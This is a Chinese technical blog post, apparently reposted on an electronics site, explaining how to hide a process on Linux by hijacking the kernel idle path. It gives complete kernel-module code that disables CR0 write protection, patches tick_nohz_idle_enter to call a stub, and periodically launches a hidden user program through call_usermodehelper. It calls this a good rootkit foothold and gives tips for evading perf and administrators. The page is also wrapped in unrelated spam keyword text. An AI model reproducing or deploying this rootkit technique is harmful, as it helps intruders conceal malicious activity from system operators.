色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何利用CPU隱藏一個進程

lhl545545 ? 來源:Linuxer ? 作者:Linuxer ? 2020-06-09 15:16 ? 次閱讀

前面談過如何隱藏一個進程,我說過,隱藏procfs接口那無異于掩耳盜鈴,正確的做法應該是將task_struct從任何鏈表中摘除,僅僅保留于run queue。

CPU利用率會暴露你隱藏的進程…

于是hook掉CPU記賬接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占優勢。

其實,還有一個好辦法,即劫持idle,這樣我們甚至可以不用管CPU記賬程序, idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…

測試代碼如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期間時鐘中斷記賬到sys或者si。 local_irq_disable(); // 開始我們的計算任務。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋CPU風扇的,不過液冷的話就要另想辦法了。

我們看下效果吧。我用虛擬機測試,下面左邊是宿主機,右邊是虛擬機,沒有劫持idle時的CPU利用率如下:

如何利用CPU隱藏一個進程

下面是劫持后的:

如何利用CPU隱藏一個進程

雖然右邊虛擬機的CPU依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇噪聲在加大,以至于我不得不用Macs Fan Control將風扇轉速調低,然而鋁殼正在變得發燙。

哪個是真的,哪個是假的,假亦真時真亦假…

我倒是覺得,idle作為Rootkit的根據地還是非常不錯,如果你想執行一些 真正的任務 ,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太猶豫,做完就走。且該程序要以某種方式使readdir無法顯示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代碼如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端打印一串a。

如果run程序執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是一個隱藏文件的話,試問如何發現誰打出的a呢?

運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。
責任編輯:pj

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • cpu
    cpu
    +關注

    關注

    68

    文章

    10901

    瀏覽量

    212750
  • 接口
    +關注

    關注

    33

    文章

    8691

    瀏覽量

    151745
收藏 人收藏

    評論

    相關推薦

    深入解析Linux程序與進程

    什么是程序 組計算機能識別和執行的指令,用于指導計算機執行特定任務或解決特定問題。程序通常由代碼、數據和資源文件組成,涉及語法、算法和數據結構。為二進制文件 什么是進程具有獨
    的頭像 發表于 12-18 11:01 ?131次閱讀
    深入解析Linux程序與<b class='flag-5'>進程</b>

    Linux之CPU調度策略和CPU親和性

    、調度策略 調度進程 單個 CPU次只能執行進程
    的頭像 發表于 12-05 16:38 ?571次閱讀
    Linux之<b class='flag-5'>CPU</b>調度策略和<b class='flag-5'>CPU</b>親和性

    文搞懂Linux進程的睡眠和喚醒

    優先級、文件描述符(記錄當前進程打開的文件)、主要進程標識的進程號和父進程號: 進程號(PID: Process Identity Num
    發表于 11-04 15:15

    雙核cpu和單核cpu的區別

    雙核CPU與單核CPU在多個方面存在顯著差異,這些差異主要體現在處理能力、性能、運行效率、功耗以及適用場景等方面。 、概念與結構 雙核CPU :指在
    的頭像 發表于 09-24 16:17 ?3752次閱讀

    深入探討Linux的進程調度器

    Linux操作系統作為開源且廣泛應用的操作系統,其內核設計包含了許多核心功能,而進程調度器(Scheduler)就是其中至關重要的模
    的頭像 發表于 08-13 13:36 ?984次閱讀
    深入探討Linux的<b class='flag-5'>進程</b>調度器

    鴻蒙開發:【進程模型概述】

    應用中(同包名)的所有PageAbility、ServiceAbility、DataAbility、FormAbility運行在同一個獨立進程中,即圖中綠色部分的“Main Process”。
    的頭像 發表于 06-22 10:09 ?324次閱讀
    鴻蒙開發:【<b class='flag-5'>進程</b>模型概述】

    鴻蒙開發:【進程模型】

    應用中(同Bundle名稱)的所有UIAbility、ServiceExtensionAbility和DataShareExtensionAbility均是運行在同一個獨立進程(主進程
    的頭像 發表于 06-13 09:53 ?325次閱讀
    鴻蒙開發:【<b class='flag-5'>進程</b>模型】

    句話讓你理解線程和進程

    今天給大家分享下線程與進程,主要包含以下幾部分內容:句話說明線程和進程操作系統為什么需要進程為什么要引入線程
    的頭像 發表于 06-04 08:04 ?1291次閱讀
    <b class='flag-5'>一</b>句話讓你理解線程和<b class='flag-5'>進程</b>

    CPU渲染和GPU渲染優劣分析

    使用計算機進行渲染時,有兩種流行的系統:基于中央處理單元(CPU)或基于圖形處理單元(GPU)。CPU渲染利用計算機的CPU來執行場景并將其渲染到接近完美。這也是執行渲染的更傳統方式。
    的頭像 發表于 05-23 08:27 ?682次閱讀
    <b class='flag-5'>CPU</b>渲染和GPU渲染優劣分析

    恒訊科技全面解析:如何有效降低服務器CPU利用率?

    降低服務器CPU利用率是涉及監控、診斷和優化的全面過程。以下是些有效的方法: 1、監控CPU
    的頭像 發表于 05-10 17:24 ?795次閱讀

    利用激光技術揭示了量子材料隱藏的特性

    某些材料具有被隱藏起來的理想特性,就像用手電筒在黑暗中照明樣,科學家可以用光來揭示這些特性。研究人員開發出種先進的光學技術,利用光來揭示量子材料 Ta2NiSe5 (TNS) 的
    的頭像 發表于 03-21 06:35 ?358次閱讀
    <b class='flag-5'>利用</b>激光技術揭示了量子材料<b class='flag-5'>隱藏</b>的特性

    Linux服務器CPU飆升的原因

    首先在Linux系統中檢查CPU使用率。可以通過在命令行中輸入top或htop命令來查看當前系統中各個進程CPU使用率。如果CPU使用率大于80%,則可以考慮進行排查。
    發表于 02-28 11:00 ?1973次閱讀
    Linux服務器<b class='flag-5'>CPU</b>飆升的原因

    進程內多次使用open打開同一個文件,可以嗎?

    進程內多次使用 open 打開同一個文件時,每次都會得到新的文件描述符(file de
    的頭像 發表于 02-27 13:54 ?1383次閱讀

    鴻蒙開源!OpenHarmony——手機的CPU信息應用

    且優先級較低的時間 在 /proc/stat 文件中,CPU 利用率的時間單位是“時鐘滴答”(clock ticks)。每個 Linux 系統都有時鐘線程(clock tick
    發表于 02-22 17:43

    線程是什么的基本單位 進程與線程的本質區別

    線程是操作系統中處理器調度的基本單位,它代表著獨立的執行流。在進程中,可以包含多個線程,這些線程共享相同的進程資源,如內存空間、文件描述符等。
    的頭像 發表于 02-02 16:30 ?999次閱讀
    主站蜘蛛池模板: 国产人妻午夜无码AV天堂 | 国产主播AV福利精品一区 | 久久re这里视频只精品首页 | 欧美高清一区二区三 | 亚洲免费人成在线视频观看 | 中文字幕日本在线mv视频精品 | 8090碰成年女人免费碰碰尤物 | 国产剧情麻豆mv | 亲胸吻胸添奶头GIF动态图免费 | 百性阁论坛首页 | 亚洲视频在线观看地址 | 国产精品久久久久久亚洲毛片 | 红杏俱乐部| 人人射人人爱 | a4you销魂gogo人体 | 亚洲妈妈精品一区二区三区 | 欧美日韩一级黄色片 | 午夜剧场1000 | 桃花在线观看播放 | 亚洲精品免费在线 | 试看2分钟AA片 | 97色伦在色在线播放 | 男女啪啪抽搐呻吟高潮动态图 | 亚洲视频在线看 | 日日噜噜夜夜爽爽 | 国产中文字幕乱码一区 | 成人小视频免费在线观看 | 日本综艺大尺度无删减版在线 | 国产精品久久久久一区二区三区 | 范冰冰hdxxxx| 暖暖日本在线手机免费完整版 | 成人a视频片在线观看免费 成人a毛片久久免费播放 | 一天不停的插BB十几次 | 欧美性FREE玩弄少妇 | 野花韩国高清完整版在线 | 美女扣逼软件 | 日韩av片无码一区二区不卡电影 | 暖暖 视频 在线 观看 高清 | 国产香蕉视频在线观看 | 性奴公司 警花 | 98色精品视频在线 |